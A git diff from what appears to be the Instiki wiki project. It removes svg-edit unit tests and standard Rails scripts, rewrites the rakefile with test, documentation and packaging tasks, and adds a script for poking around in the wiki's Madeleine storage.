-	test('Test svgedit.utilities.toXml() function', function() {
-		expect(6);
-		var toXml = svgedit.utilities.toXml;
-		
-		equals(toXml('a'), 'a');
-		equals(toXml('ABC_'), 'ABC_');
-		equals(toXml('PB&J'), 'PB&amp;J');
-		equals(toXml('2 < 5'), '2 &lt; 5');
-		equals(toXml('5 > 2'), '5 &gt; 2');
-		equals(toXml('\'<&>"'), '\'&lt;&amp;&gt;"');
-	});
-
-	test('Test svgedit.utilities.fromXml() function', function() {
-		expect(6);
-		var fromXml = svgedit.utilities.fromXml;
-
-		equals(fromXml('a'), 'a');
-		equals(fromXml('ABC_'), 'ABC_');
-		equals(fromXml('PB&amp;J'), 'PB&J');
-		equals(fromXml('2 &lt; 5'), '2 < 5');
-		equals(fromXml('5 &gt; 2'), '5 > 2');
-		equals(fromXml('&lt;&amp;&gt;'), '<&>');
-	});
-
-	test('Test svgedit.utilities.encode64() function', function() {
-		expect(4);
-		var encode64 = svgedit.utilities.encode64;
-
-		equals(encode64('abcdef'), 'YWJjZGVm');
-		equals(encode64('12345'), 'MTIzNDU=');
-		equals(encode64(' '), 'IA==');
-		equals(encode64('`~!@#$%^&*()-_=+[{]}\\|;:\'",<.>/?'), 'YH4hQCMkJV4mKigpLV89K1t7XX1cfDs6JyIsPC4+Lz8=');
-	});
-
-	test('Test svgedit.utilities.decode64() function', function() {
-		expect(4);
-		var decode64 = svgedit.utilities.decode64;
-
-		equals(decode64('YWJjZGVm'), 'abcdef');
-		equals(decode64('MTIzNDU='), '12345');
-		equals(decode64('IA=='), ' ');
-		equals(decode64('YH4hQCMkJV4mKigpLV89K1t7XX1cfDs6JyIsPC4+Lz8='), '`~!@#$%^&*()-_=+[{]}\\|;:\'",<.>/?');
-	});
-
-	test('Test svgedit.utilities.convertToXMLReferences() function', function() {
-		expect(1);
-		
-		var convert = svgedit.utilities.convertToXMLReferences;
-		equals(convert('ABC'), 'ABC');
-//		equals(convert('ÀBC'), '&#192;BC');
-	});
-
-	test('Test svgedit.utilities.bboxToObj() function', function() {
-		expect(5);
-		var bboxToObj = svgedit.utilities.bboxToObj;
-
-		var rect = svg.createSVGRect();
-		rect.x = 1;
-		rect.y = 2;
-		rect.width = 3;
-		rect.height = 4;
-		
-		var obj = bboxToObj(rect);
-		equals(typeof obj, typeof {});
-		equals(obj.x, 1);
-		equals(obj.y, 2);
-		equals(obj.width, 3);
-		equals(obj.height, 4);
-	});
-
-	
-	test("Test getUrlFromAttr", function() {
-		expect(4);
-		
-		equal(svgedit.utilities.getUrlFromAttr("url(#foo)"), "#foo");
-		equal(svgedit.utilities.getUrlFromAttr("url(somefile.svg#foo)"), "somefile.svg#foo");
-		equal(svgedit.utilities.getUrlFromAttr("url('#foo')"), "#foo");
-		equal(svgedit.utilities.getUrlFromAttr('url("#foo")'), "#foo");
-	});
-
-  }); 
-  </script>  
-</head>  
-<body>  
-  <h1 id='qunit-header'>Unit Tests for svgutils.js</h1>
-  <h2 id='qunit-banner'></h2>
-  <h2 id='qunit-userAgent'></h2>
-  <ol id='qunit-tests'>
-  </ol>
-</body>  
-</html>
diff --git a/public/svg-edit/test/test1.html b/public/svg-edit/test/test1.html
deleted file mode 100644
index ee7ecdac..00000000
--- a/public/svg-edit/test/test1.html
+++ /dev/null
@@ -1,273 +0,0 @@
-<html>  
-<head>  
-  <link rel="stylesheet" href="qunit/qunit.css" type="text/css"/>  
-  <script src="../editor/jquery.js"></script>  
-  <script type="text/javascript" src="../editor/jquery-ui/jquery-ui-1.8.custom.min.js"></script>
-  <script type="text/javascript" src="../editor/svgicons/jquery.svgicons.js"></script>
-  <script type="text/javascript" src="../editor/locale/locale.js"></script>
-  <script type="text/javascript" src="../editor/browsersupport.js"></script>
-  <script type="text/javascript" src="../editor/svgtransformlist.js"></script>
-  <script type="text/javascript" src="../editor/math.js"></script>
-  <script type="text/javascript" src="../editor/units.js"></script>
-  <script type="text/javascript" src="../editor/svgutils.js"></script>
-  <script type="text/javascript" src="../editor/sanitize.js"></script>
-  <script type="text/javascript" src="../editor/history.js"></script>
-  <script type="text/javascript" src="../editor/select.js"></script>
-  <script type="text/javascript" src="../editor/svgcanvas.js"></script>
-  <script type="text/javascript" src="qunit/qunit.js"></script>  
-  <script type="text/javascript">
-  $(function() {
-  	// log function
-  	QUnit.log = function(result, message) {
-		if (window.console && window.console.log) {
-			window.console.log(result +' :: '+ message);
-		}
-	};
-	
-	// helper functions
-	var isIdentity = function(m) {
-		return (m.a == 1 && m.b == 0 && m.c == 0 && m.d == 1 && m.e == 0 && m.f == 0);
-	};
-	var matrixString = function(m) {
-		return [m.a,m.b,m.c,m.d,m.e,m.f].join(',');
-	}
-
-  	var svgCanvas = new $.SvgCanvas(document.getElementById("svgcanvas"), {
-			canvas_expansion: 3,
-			dimensions: [640,480],
-			initFill: {
-				color: 'FF0000',  // solid red
-				opacity: 1
-			},
-			initStroke: {
-				width: 5,
-				color: '000000',  // solid black
-				opacity: 1
-			},
-			initOpacity: 1,
-			imgPath: 'images/',
-			langPath: 'locale/',
-			extPath: 'extensions/',
-			extensions: ['ext-arrows.js', 'ext-connector.js', 'ext-eyedropper.js'],
-			initTool: 'select',
-			wireframe: false
-		}),
-  		svgroot = document.getElementById("svgroot"),
-  		svgdoc = svgroot.documentElement,
-  		svgns = "http://www.w3.org/2000/svg",
-  		xlinkns = "http://www.w3.org/1999/xlink";
-
-	module("Basic Module");
-
-	test("Test existence of SvgCanvas object", function() {
-		expect(1);
-		equal(typeof {}, typeof svgCanvas);
-	});
-	
-	module("Path Module");
-	
-	test("Test path conversion from absolute to relative", function() {
-		expect(6);
-		var convert = svgCanvas.pathActions.convertPath;
-
-		// TODO: Test these paths:
-		// "m400.00491,625.01379a1.78688,1.78688 0 1 1-3.57373,0a1.78688,1.78688 0 1 13.57373,0z"
-		// "m36.812,15.8566c-28.03099,0 -26.28099,12.15601 -26.28099,12.15601l0.03099,12.59399h26.75v3.781h-37.37399c0,0 -17.938,-2.034 -133.00001,26.25c115.06201,28.284 130.71801,27.281 130.71801,27.281h9.34399v-13.125c0,0 -0.504,-15.656 15.40601,-15.656h26.532c0,0 14.90599,0.241 14.90599,-14.406v-24.219c0,0 2.263,-14.65601 -27.032,-14.65601zm-14.75,8.4684c2.662,0 4.813,2.151 4.813,4.813c0,2.661 -2.151,4.812 -4.813,4.812c-2.661,0 -4.812,-2.151 -4.812,-4.812c0,-2.662 2.151,-4.813 4.812,-4.813z"
-		// "m 0,0 l 200,0 l 0,100 L 0,100"
-	
-		svgCanvas.setSvgString("<svg xmlns='http://www.w3.org/2000/svg' width='400' x='300'>" +
-								  "<path id='p1' d='M100,100 L200,100 L100,100Z'/>" +
-								  "<path id='p2' d='m 0,0 l 200,0 l 0,100 L 0,100'/>" +
-								"</svg>");
-		
-		var p1 = document.getElementById("p1"),
-			p2 = document.getElementById("p2"),
-			d_abs = p1.getAttribute("d"),
-			seglist = p1.pathSegList,
-			curseg = null;
-			
-		equal(p1.nodeName, "path", "Expected 'path', got");
-		
-		equal(seglist.numberOfItems, 4, "Number of segments before conversion");
-		
-		// verify segments before conversion
-		curseg = seglist.getItem(0);
-		equal(curseg.pathSegTypeAsLetter.toUpperCase(), "M", "Before conversion, segment #1 type");
-		curseg = seglist.getItem(1);
-		equal(curseg.pathSegTypeAsLetter.toUpperCase(), "L", "Before conversion, segment #2 type");
-		curseg = seglist.getItem(3);
-		equal(curseg.pathSegTypeAsLetter.toUpperCase(), "Z", "Before conversion, segment #3 type" + d_abs);
-		
-		// convert and verify segments
-		var d = convert(p1, true);
-		equal(d, "m100,100l100,0l-100,0z", "Converted path to relative string");
-		
-		// TODO: see why this isn't working in SVG-edit
-		d = convert(p2, true);
-		QUnit.log(d);
-		d = convert(p2, false);
-		QUnit.log(d);
-	});
-	
-	module("Import Module");
-	
-	test("Test import use", function() {
-		expect(3);
-		
-		svgCanvas.setSvgString("<svg xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='400' x='300'>" +
-								"<rect id='the-rect' width='200' height='200'/>" +
-								"<use id='the-use' xlink:href='#the-rect'/>" +
-								"<use id='foreign-use' xlink:href='somefile.svg#the-rect'/>" +
-								"<use id='no-use'/>" +
-								"</svg>");
-		
-		var u = document.getElementById("the-use"),
-			fu = document.getElementById("foreign-use"),
-			nfu = document.getElementById("no-use");
-		
-		equal((u && u.nodeName == "use"), true, "Did not import <use> element");
-		equal(fu, null, "Removed <use> element that had a foreign href");
-		equal(nfu, null, "Removed <use> element that had no href");
-	});
-	
-	// This test shows that an element with an invalid attribute is still parsed in properly
-	// and only the attribute is not imported
-	test("Test invalid attribute", function() {
-		expect(2);
-		
-		svgCanvas.setSvgString('<svg width="640" height="480" xmlns="http://www.w3.org/2000/svg">'+
-				'<text x="182.75" y="173.5" id="the-text" fill="#008000" font-size="150" font-family="serif" text-anchor="middle" d="M116,222 L110,108">words</text>' +
-				'</svg>');
-		
-		var t = document.getElementById("the-text");
-		
-		equal(true, (t && t.nodeName == "text"), "Did not import <text> element");
-		equal(null, t.getAttribute("d"), "Imported a <text> with a d attribute");
-	});
-	
-	// This test makes sure import/export properly handles namespaced attributes
-	test("Test importing/exporting namespaced attributes", function() {
-		expect(5);
-		var setStr = svgCanvas.setSvgString('<svg width="640" height="480" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:se="http://svg-edit.googlecode.com" xmlns:foo="http://example.com">'+
-				'<image xlink:href="../editor/images/logo.png"/>' +
-				'<polyline id="se_test_elem" se:foo="bar" foo:bar="baz"/>' +
-				'</svg>');
-		var attrVal = document.getElementById('se_test_elem').getAttributeNS("http://svg-edit.googlecode.com", "foo");
-		
-		equal(attrVal === "bar", true, "Preserved namespaced attribute on import");
-// 				
-// 		console.log('getSvgString' in svgCanvas)
-
-		var output = svgCanvas.getSvgString();
-// 		} catch(e) {console.log(e)}
-// 		console.log('output',output);
-		var has_xlink = output.indexOf('xmlns:xlink="http://www.w3.org/1999/xlink"') !== -1;
-		var has_se = output.indexOf('xmlns:se=') !== -1;
-		var has_foo = output.indexOf('xmlns:foo=') !== -1;
-		var has_attr = output.indexOf('se:foo="bar"') !== -1;
-		
-		equal(has_attr, true, "Preserved namespaced attribute on export");
-		equal(has_xlink, true, "Included xlink: xmlns");
-		equal(has_se, true, "Included se: xmlns");
-		equal(has_foo, false, "Did not include foo: xmlns");
-	});
-	
-	test("Test import math elements inside a foreignObject", function() {
-		expect(4);
-		var set = svgCanvas.setSvgString('<svg width="640" height="480" xmlns="http://www.w3.org/2000/svg" xmlns:se="http://svg-edit.googlecode.com" xmlns:xlink="http://www.w3.org/1999/xlink">'+
-				'<foreignObject id="fo" width="24" height="26" font-size="24"><math id="m" display="inline" xmlns="http://www.w3.org/1998/Math/MathML">'+
-						'<msub>'+
-							'<mi>A</mi>'+
-							'<mn>0</mn>'+
-						'</msub>'+
-					'</math>'+
-				'</foreignObject>'+
-			'</svg>');
-		var fo = document.getElementById('fo');
-		// we cannot use getElementById('math') because not all browsers understand MathML and do not know to use the @id attribute
-		// see Bug https://bugs.webkit.org/show_bug.cgi?id=35042
-		var math = fo.firstChild;
-		
-		equal(!!math, true, "Math element exists");
-		equal(math.nodeName, 'math', "Math element has the proper nodeName");
-		equal(math.getAttribute('id'), 'm', "Math element has an id");
-		equal(math.namespaceURI, "http://www.w3.org/1998/Math/MathML", "Preserved MathML namespace");
-	});
-	
-	test("Test importing SVG into existing drawing", function() {
-		expect(3);
-		
-		var doc = svgCanvas.setSvgString('<svg width="640" height="480" xmlns="http://www.w3.org/2000/svg">'+
-											'<g><title>Layer 1</title>'+
-												'<circle cx="200" cy="200" r="50" fill="blue"/>'+
-												'<ellipse cx="300" cy="100" rx="40" ry="30" fill="green"/>'+
-											'</g>'+
-										'</svg>');
-		
-		svgCanvas.importSvgString('<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">'+
-									'<circle cx="50" cy="50" r="40" fill="yellow"/>'+
-									'<rect width="20" height="20" fill="blue"/>'+
-								'</svg>');
-		
-		var svgcontent = document.getElementById("svgcontent"),
-			circles = svgcontent.getElementsByTagNameNS(svgns, "circle"),
-			rects = svgcontent.getElementsByTagNameNS(svgns, "rect"),
-			ellipses = svgcontent.getElementsByTagNameNS(svgns, "ellipse");
-		equal(circles.length, 2, "Found two circles upon importing");
-		equal(rects.length, 1, "Found one rectangle upon importing");
-		equal(ellipses.length, 1, "Found one ellipse upon importing");
-	});
-
-	test("Test importing SVG remaps IDs", function() {
-		expect(6);
-		
-		var doc = svgCanvas.setSvgString('<svg width="640" height="480" xmlns="http://www.w3.org/2000/svg">'+
-											'<g><title>Layer 1</title>'+
-												'<ellipse id="svg_1" cx="200" cy="200" rx="50" ry="20" fill="blue"/>'+
-												'<ellipse id="svg_2" cx="300" cy="100" rx="40" ry="30" fill="green"/>'+
-												'<ellipse id="svg_3" cx="300" cy="100" rx="40" ry="30" fill="green"/>'+
-											'</g>'+
-										'</svg>');
-		
-		svgCanvas.importSvgString('<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg" xmlns:xl="http://www.w3.org/1999/xlink">'+
-									'<defs>'+
-										'<linearGradient id="svg_2">'+
-											'<stop stop-color="red" offset="0"/>'+
-											'<stop stop-color="green" offset="1"/>'+
-										'</linearGradient>'+
-										'<rect id="svg_3" width="20" height="20" fill="blue" stroke="url(#svg_2)"/>'+
-									'</defs>'+
-									'<circle id="svg_1" cx="50" cy="50" r="40" fill="url(#svg_2)"/>'+
-									'<use id="svg_4" width="30" height="30" xl:href="#svg_3"/>'+
-								'</svg>');
-		
-		var svgcontent = document.getElementById("svgcontent"),
-			circles = svgcontent.getElementsByTagNameNS(svgns, "circle"),
-			rects = svgcontent.getElementsByTagNameNS(svgns, "rect"),
-			ellipses = svgcontent.getElementsByTagNameNS(svgns, "ellipse"),
-			defs = svgcontent.getElementsByTagNameNS(svgns, "defs"),
-			grads = svgcontent.getElementsByTagNameNS(svgns, "linearGradient"),
-			uses = svgcontent.getElementsByTagNameNS(svgns, "use");
-		notEqual(circles.item(0).id, "svg_1", "Circle not re-identified");
-		notEqual(rects.item(0).id, "svg_3", "Rectangle not re-identified");
-//		// TODO: determine why this test fails in WebKit browsers
-//		equal(grads.length, 1, "Linear gradient imported");
-		var grad = defs.item(0).firstChild;
-		notEqual(grad.id, "svg_2", "Linear gradient not re-identified");
-		notEqual(circles.item(0).getAttribute("fill"), "url(#svg_2)", "Circle fill value not remapped");
-		notEqual(rects.item(0).getAttribute("stroke"), "url(#svg_2)", "Rectangle stroke value not remapped");
-		notEqual(uses.item(0).getAttributeNS(xlinkns, "href"), "#svg_3");
-	});
-	
-  }); 
-  </script>  
-</head>  
-<body>  
-  <h1 id="qunit-header">Unit Tests for SvgCanvas</h1>
-  <h2 id="qunit-banner"></h2>
-  <h2 id="qunit-userAgent"></h2>
-  <ol id="qunit-tests">
-  </ol>
-  <div id="svgcanvas" style="visibility:hidden"></div>
-</body>  
-</html> 
\ No newline at end of file
diff --git a/rakefile.rb b/rakefile.rb
old mode 100644
new mode 100755
index b0fe9317..1495f84e
--- a/rakefile.rb
+++ b/rakefile.rb
@@ -1,17 +1,134 @@
-# Add your own tasks in files placed in lib/tasks ending in .rake,
-# for example lib/tasks/switchtower.rake, and they will automatically be available to Rake.
-
-require File.join(File.dirname(__FILE__), 'config', 'boot')
-
-require 'rake'
-class Rails::Application
-  include Rake::DSL if defined?(Rake::DSL)
-end
-require 'rake/testtask'
-begin
-  require 'rdoc/task'
-rescue LoadError
-  require 'rake/rdoctask'
-end
-
-require 'tasks/rails'
+require 'rake'
+require 'rake/clean'
+require 'rake/testtask'
+require 'rake/rdoctask'
+require 'rake/packagetask'
+
+$VERBOSE = nil
+
+# Standard Rails tasks
+
+desc 'Run all tests'
+task :default => [:test_units, :test_functional]
+
+desc 'Require application environment.'
+task :environment do
+  unless defined? RAILS_ROOT
+    require File.dirname(__FILE__) + '/config/environment'
+  end
+end
+
+desc 'Generate API documentatio, show coding stats'
+task :doc => [ :appdoc, :stats ]
+
+desc 'Run the unit tests in test/unit'
+Rake::TestTask.new('test_units') { |t|
+  t.libs << 'test'
+  t.pattern = 'test/unit/**/*_test.rb'
+  t.verbose = true
+}
+
+desc 'Run the functional tests in test/functional'
+Rake::TestTask.new('test_functional') { |t|
+  t.libs << 'test'
+  t.pattern = 'test/functional/**/*_test.rb'
+  t.verbose = true
+}
+
+desc 'Generate documentation for the application'
+Rake::RDocTask.new('appdoc') { |rdoc|
+  rdoc.rdoc_dir = 'doc/app'
+  rdoc.title    = 'Rails Application Documentation'
+  rdoc.options << '--line-numbers --inline-source'
+  rdoc.rdoc_files.include('doc/README_FOR_APP')
+  rdoc.rdoc_files.include('app/**/*.rb')
+}
+
+desc 'Generate documentation for the Rails framework'
+Rake::RDocTask.new("apidoc") { |rdoc|
+  rdoc.rdoc_dir = 'doc/api'
+  rdoc.title    = 'Rails Framework Documentation'
+  rdoc.options << '--line-numbers --inline-source'
+  rdoc.rdoc_files.include('README')
+  rdoc.rdoc_files.include('CHANGELOG')
+  rdoc.rdoc_files.include('vendor/rails/railties/CHANGELOG')
+  rdoc.rdoc_files.include('vendor/rails/railties/MIT-LICENSE')
+  rdoc.rdoc_files.include('vendor/rails/activerecord/README')
+  rdoc.rdoc_files.include('vendor/rails/activerecord/CHANGELOG')
+  rdoc.rdoc_files.include('vendor/rails/activerecord/lib/active_record/**/*.rb')
+  rdoc.rdoc_files.exclude('vendor/rails/activerecord/lib/active_record/vendor/*')
+  rdoc.rdoc_files.include('vendor/rails/actionpack/README')
+  rdoc.rdoc_files.include('vendor/rails/actionpack/CHANGELOG')
+  rdoc.rdoc_files.include('vendor/rails/actionpack/lib/action_controller/**/*.rb')
+  rdoc.rdoc_files.include('vendor/rails/actionpack/lib/action_view/**/*.rb')
+  rdoc.rdoc_files.include('vendor/rails/actionmailer/README')
+  rdoc.rdoc_files.include('vendor/rails/actionmailer/CHANGELOG')
+  rdoc.rdoc_files.include('vendor/rails/actionmailer/lib/action_mailer/base.rb')
+  rdoc.rdoc_files.include('vendor/rails/actionwebservice/README')
+  rdoc.rdoc_files.include('vendor/rails/actionwebservice/ChangeLog')
+  rdoc.rdoc_files.include('vendor/rails/actionwebservice/lib/action_web_service/**/*.rb')
+  rdoc.rdoc_files.include('vendor/rails/activesupport/README')
+  rdoc.rdoc_files.include('vendor/rails/activesupport/lib/active_support/**/*.rb')
+}
+
+desc 'Report code statistics (KLOCs, etc) from the application'
+task :stats => [ :environment ] do
+  require 'code_statistics'
+  CodeStatistics.new(
+    ['Helpers', 'app/helpers'], 
+    ['Controllers', 'app/controllers'], 
+    ['Functionals', 'test/functional'],
+    ['Models', 'app/models'],
+    ['Units', 'test/unit'],
+    ['Miscellaneous (lib)', 'lib']
+  ).to_s
+end
+
+# Additional tasks (not standard Rails)
+
+CLEAN << 'pkg' << 'storage' << 'doc' << 'html'
+
+begin
+  require 'rubygems'
+  require 'rake/gempackagetask'
+rescue Exception => e
+  nil
+end
+
+if defined? Rake::GemPackageTask
+  gemspec = eval(File.read('instiki.gemspec'))
+  Rake::GemPackageTask.new(gemspec) do |p|
+    p.gem_spec = gemspec
+    p.need_tar = true
+    p.need_zip = true
+  end
+
+  Rake::PackageTask.new('instiki', gemspec.version) do |p|
+    p.need_tar = true
+    p.need_zip = true
+    # the list of glob expressions for files comes from instiki.gemspec
+    p.package_files.include($__instiki_source_patterns) 
+  end
+  
+  # Create a task to build the RDOC documentation tree.
+  rd = Rake::RDocTask.new("rdoc") { |rdoc|
+    rdoc.rdoc_dir = 'html'
+    rdoc.title = 'Instiki -- The Wiki'
+    rdoc.options << '--line-numbers --inline-source --main README'
+    rdoc.rdoc_files.include(gemspec.files)
+    rdoc.main = 'README'
+  }
+else
+  puts 'Warning: without Rubygems packaging tasks are not available'
+end
+
+# Shorthand aliases
+desc 'Shorthand for test_units'
+task :tu => :test_units
+desc 'Shorthand for test_units'
+task :ut => :test_units
+
+desc 'Shorthand for test_functional'
+task :tf => :test_functional
+desc 'Shorthand for test_functional'
+task :ft => :test_functional
diff --git a/script/about b/script/about
deleted file mode 100755
index 7b07d46a..00000000
--- a/script/about
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../config/boot'
-require 'commands/about'
\ No newline at end of file
diff --git a/script/benchmarker b/script/benchmarker
deleted file mode 100755
index 4a0ea231..00000000
--- a/script/benchmarker
+++ /dev/null
@@ -1,19 +0,0 @@
-#!/usr/bin/env ruby
-
-if ARGV.empty?
-  puts "Usage: benchmarker times 'Person.expensive_way' 'Person.another_expensive_way' ..."
-  exit 
-end
-
-require File.dirname(__FILE__) + '/../config/environment'
-require 'benchmark'
-include Benchmark
-
-# Don't include compilation in the benchmark
-ARGV[1..-1].each { |expression| eval(expression) }
-
-bm(6) do |x|
-  ARGV[1..-1].each_with_index do |expression, idx|
-    x.report("##{idx + 1}") { ARGV[0].to_i.times { eval(expression) } }
-  end
-end 
\ No newline at end of file
diff --git a/script/breakpointer b/script/breakpointer
index 6375616b..89e286dd 100755
--- a/script/breakpointer
+++ b/script/breakpointer
@@ -1,4 +1,4 @@
-#!/usr/bin/env ruby
+#!e:/ruby/bin/ruby
 require 'rubygems'
 require_gem 'rails'
 require 'breakpoint_client'
diff --git a/script/console b/script/console
deleted file mode 100755
index e23abda3..00000000
--- a/script/console
+++ /dev/null
@@ -1,23 +0,0 @@
-#!/usr/bin/env ruby
-irb = RUBY_PLATFORM =~ /mswin32/ ? 'irb.bat' : 'irb'
-
-require 'optparse'
-options = { :sandbox => false, :irb => irb }
-OptionParser.new do |opt|
-  opt.on('-s', '--sandbox', 'Rollback database modifications on exit.') { |options[:sandbox]| }
-  opt.on("--irb=[#{irb}]", 'Invoke a different irb.') { |options[:irb]| }
-  opt.parse!(ARGV)
-end
-
-libs =  " -r irb/completion"
-libs << " -r #{File.dirname(__FILE__)}/../config/environment"
-libs << " -r console_sandbox" if options[:sandbox]
-
-ENV['RAILS_ENV'] = ARGV.first || 'development'
-if options[:sandbox]
-  puts "Loading #{ENV['RAILS_ENV']} environment in sandbox."
-  puts "Any modifications you make will be rolled back on exit."
-else
-  puts "Loading #{ENV['RAILS_ENV']} environment."
-end
-exec "#{options[:irb]} #{libs} --prompt-mode simple"
diff --git a/script/dbconsole b/script/dbconsole
deleted file mode 100755
index caa60ce8..00000000
--- a/script/dbconsole
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../config/boot'
-require 'commands/dbconsole'
diff --git a/script/debug_storage b/script/debug_storage
new file mode 100644
index 00000000..8b0060f0
--- /dev/null
+++ b/script/debug_storage
@@ -0,0 +1,97 @@
+#!/usr/bin/ruby
+
+=begin
+The purpose of this script is to help people poke around in the Madeleine storage. 
+
+Two caveats:
+1. You MUST be a reasonably good Ruby programmer to use it successfully for anything non-trivial.
+2. It's very easy to screw up something by poking in the storage internals. If you do, please 
+   undo your changes by deleting the most recent snapshot(s) and don't ask for help.
+
+Usage example:
+
+E:\eclipse\workspace\instiki\script>irb
+irb(main):001:0> load 'debug_storage'
+Enter path to storage [E:/eclipse/workspace/instiki/storage/2500]:
+Loading storage from the default storage path (E:/eclipse/workspace/instiki/storage/2500)
+Instiki storage from E:/eclipse/workspace/instiki/storage/2500 is loaded.
+Access it via global variable $wiki.
+Happy poking!
+=> true
+irb(main):003:0> $wiki.system
+=> {"password"=>"foo"}
+irb(main):005:0> $wiki.system['password'] = 'bar'
+=> "bar"
+irb(main):006:0> $wiki.webs.keys
+=> ["wiki1", "wiki2"]
+irb(main):007:0> $wiki.webs['wiki1'].password = 'the_password'
+=> "the_password"
+irb(main):008:0> WikiService::snapshot
+=> []
+
+
+Things that are possible:
+
+# cleaning old revisions
+$wiki.webs['wiki'].pages['HomePage'].revisions = $wiki.webs['wiki'].pages['HomePage'].revisions[-1..-1]
+
+# Changing contents of a revision
+$wiki.webs['wiki'].pages['HomePage'].revisions[-1] = 'new content'
+
+# Checking that all pages can be rendered by the markup engine
+$wiki.webs['wiki'].pages.each_pair do |name, page|
+  page.revisions.each_with_index do |revision, i|
+    begin
+      revision.display_content
+    rescue =>
+      puts "Error when rendering revision ##{i} of page #{name.inspect}:"
+      puts e.message
+      puts e.backtrace.join("\n")
+    end
+end
+=end
+
+require 'fileutils'
+require 'optparse'
+require 'webrick'
+
+default_storage_path = File.expand_path(File.dirname(__FILE__) + "/../storage/2500")
+
+print "Enter path to storage [#{default_storage_path}]: "
+storage_path = gets.chomp
+if storage_path.empty?
+  storage_path = default_storage_path
+  puts "Loading storage from the default storage path (#{storage_path})"
+else
+  puts "Loading storage from the path you entered (#{storage_path})"
+end
+
+unless File.directory?(storage_path) and not 
+    (Dir["#{storage_path}/*.snapshot"] + Dir["#{storage_path}/*.command_log"]).empty?
+  raise "Found no storage at #{storage_path}" 
+end
+
+RAILS_ROOT = File.expand_path(File.dirname(__FILE__) + '/../') unless defined? RAILS_ROOT
+
+unless defined? ADDITIONAL_LOAD_PATHS
+  ADDITIONAL_LOAD_PATHS = %w(
+    app/models 
+    lib 
+    vendor/madeleine-0.7.1/lib
+    vendor/RedCloth-3.0.3/lib
+    vendor/rubyzip-0.5.8/lib
+  ).map { |dir| "#{File.expand_path(File.join(RAILS_ROOT, dir))}"
+  }.delete_if { |dir| not File.exist?(dir) }
+
+  # Prepend to $LOAD_PATH
+  ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) }
+end
+
+require 'wiki_service'
+
+WikiService.storage_path = storage_path
+$wiki = WikiService.instance
+puts "Instiki storage from #{storage_path} is loaded."
+puts 'Access it via global variable $wiki.'
+puts 'Happy poking!'
+nil
diff --git a/script/destroy b/script/destroy
deleted file mode 100755
index 46cc786e..00000000
--- a/script/destroy
+++ /dev/null
@@ -1,7 +0,0 @@
-#!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../config/environment'
-require 'rails_generator'
-require 'rails_generator/scripts/destroy'
-
-ARGV.shift if ['--help', '-h'].include?(ARGV[0])
-Rails::Generator::Scripts::Destroy.new.run(ARGV)
diff --git a/script/generate b/script/generate
deleted file mode 100755
index 26447804..00000000
--- a/script/generate
+++ /dev/null
@@ -1,7 +0,0 @@
-#!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../config/environment'
-require 'rails_generator'
-require 'rails_generator/scripts/generate'
-
-ARGV.shift if ['--help', '-h'].include?(ARGV[0])
-Rails::Generator::Scripts::Generate.new.run(ARGV)
diff --git a/script/import_storage b/script/import_storage
deleted file mode 100755
index 7c53af9e..00000000
--- a/script/import_storage
+++ /dev/null
@@ -1,228 +0,0 @@
-#!/usr/bin/env ruby
-
-require 'optparse'
-
-OPTIONS = {
-  :instiki_root => nil,
-  :storage => nil,
-  :database => 'mysql'
-}
-
-ARGV.options do |opts|
-  script_name = File.basename($0)
-  opts.banner = "Usage: ruby #{script_name} [options]"
-
-  opts.separator ""
-
-  opts.on("-t", "--storage /full/path/to/storage", String,
-          "Full path to your storage, ",
-          "such as /home/joe/instiki/storage/2500",
-          "It should be the directory that ",
-          "contains .snapshot files.") do |storage|
-            OPTIONS[:storage] = storage
-          end
-
-  opts.separator ""
-
-  opts.on("-i", "--instiki /full/path/to/instiki", String,
-          "Full path to your Instiki 0.10 installation, ",
-          "such as /home/joe/instiki-0.10.2") do |instiki| 
-            OPTIONS[:instiki] = instiki
-          end
-
-  opts.separator ""
-
-  opts.on("-o", "--outfile /full/path/to/output_file", String,
-          "Full path (including filename!) to where ",
-          "you want the SQL output placed, such as ",
-          "/home/joe/instiki.sql") do |outfile|
-            OPTIONS[:outfile] = outfile
-          end
-
-  opts.on("-d", "--database {mysql|sqlite|postgres}", String,
-          "Target database (they have slightly different syntax)",
-          "default: mysql") do |database|
-            OPTIONS[:database] = database
-          end
-
-  opts.separator ""
-
-  opts.on_tail("-h", "--help",
-          "Show this help message.") { puts opts; exit }
-
-  opts.parse!
-end
-
-if OPTIONS[:instiki].nil? or OPTIONS[:storage].nil? or OPTIONS[:outfile].nil?
-  $stderr.puts "Please specify full paths to Instiki 0.10 installation and storage,"
-  $stderr.puts "as well as the path to the output file"
-  $stderr.puts
-  puts ARGV.options
-  exit -1
-end
-
-if FileTest.exists? OPTIONS[:outfile]
-  $stderr.puts "Output file #{OPTIONS[:outfile]} already exists!"
-  $stderr.puts "Please specify a new file"
-  $stderr.puts
-  puts ARGV.options
-  exit -1
-end
-
-raise "Directory #{OPTIONS[:instiki]} not found" unless File.directory?(OPTIONS[:instiki])
-raise "Directory #{OPTIONS[:storage]} not found" unless File.directory?(OPTIONS[:storage])
-
-expected_page_rb_path = File.join(OPTIONS[:instiki], 'app/models/page.rb')
-raise "Instiki installation not found in #{OPTIONS[:instiki]}" unless File.file?(expected_page_rb_path)
-
-expected_snapshot_pattern = File.join(OPTIONS[:storage], '*.snapshot')
-raise "No snapshots found in #{expected_snapshot_pattern}" if Dir[expected_snapshot_pattern].empty?
-
-INSTIKI_ROOT = File.expand_path(OPTIONS[:instiki])
-
-ADDITIONAL_LOAD_PATHS = %w(
-  app/models 
-  lib 
-  vendor/madeleine-0.7.1/lib
-  vendor/RedCloth-3.0.3/lib
-  vendor/RedCloth-3.0.4/lib
-  vendor/rubyzip-0.5.8/lib
-).map { |dir| "#{File.expand_path(File.join(INSTIKI_ROOT, dir))}"
-}.delete_if { |dir| not File.exist?(dir) }
-
-# Prepend to $LOAD_PATH
-ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) }
-
-require 'webrick'
-require 'wiki_service'
-
